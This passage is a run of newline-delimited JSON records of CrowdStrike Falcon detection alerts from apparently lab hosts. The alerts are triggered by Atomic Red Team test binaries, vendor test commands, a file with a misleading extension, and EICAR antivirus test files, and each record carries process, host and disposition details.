https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"} -{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"} -{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} -{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} -{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} -{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} -{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} -{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"} -{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"} -{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The 